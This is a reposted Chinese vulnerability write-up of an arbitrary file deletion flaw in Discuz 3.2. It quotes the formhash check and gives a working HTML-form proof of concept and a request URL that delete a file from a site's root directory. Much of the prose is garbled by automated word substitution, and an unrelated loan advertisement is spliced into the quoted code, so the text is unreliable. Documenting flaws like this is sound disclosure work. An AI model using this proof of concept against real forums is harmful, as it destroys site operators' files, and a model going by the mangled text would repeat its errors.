验证用的版本：discuz3.2
0x1首先在根目录下新建一个文件
0x2 组织poc1修改出生区域
注重其中的formhash需要替换掉，详细是在源码中找。
为什么这里要替换掉formhash呢？
一开始不太清晰，网页会报错,
如下
看到了有一个xss验证蛮去找一下这个文件
private function _xss_check() {
static $check = array('"', '>', '<', ''', '(', ')', 'CONTENT-TRANSFER-ENCODING');
if(isset($_GET['formhash']) && $_GET['formhash'] !== formhash())
{
system_error('request_tainting');
}
if($_SERVER['REQUEST_METHOD'] == 'GET' ) {
$temp = $_SERVER['REQUEST_URI'];
} elseif(empty ($_GET['formhash'])) {
$temp = $_SERVER['REQUEST_URI'].file_get_contents('php://input');
} else {
$temp = '';
}
if(!empty($temp)) {
$temp = strtoupper(urldecode(urldecode($temp)));
foreach ($check as $str) {
if(strpos($temp, $str) !== false) {
system_error('request_tainting');
}
}
}
return true;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
发现了如下代码
if(isset($_GET[‘formhash’]) && $_GET[‘formhash’] !== formhash())
国家免息创业贷款政策有哪些，2019无息贷款最新政策申请条件
{
system_error(‘request_tainting’);
}
这里就是对formhash做判断的地方了，固然判断地方不止一个。这里formhash应该是每次上岸后随机天生的，详细源码没有去找他，但实验两次上岸后找到的formhash不一样
0x3 组织poc2删除zsdlove.txt文件
test->poc
<form
action="http://localhost/discuz3.2/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovi
nce]=zsdlove" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" /> <br><br>
<input type="text" name="formhash" value="3e42ef6f"/><br><br>
<input type="text" name="profilesubmit" value="1"/><br><br>
<input type="submit" value="Submit" />
</from>
1
2
3
4
5
6
7
8
9
将该poc保存为html文件打开
随便上传一张图片，注重其中的formhash也要替换
在浏览器中接见
localhost/discuz3.2/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=zsdlove
1
在看看网站根目录
文件已经被删除了
0x4 修复方案:官方已经公布补丁，请尽快修复
本文来源于自互联网，不代表n5网立场，侵删。发布者：虚拟资源中心，转载请注明出处：https://www.n5w.com/126821.html
微信扫一扫 
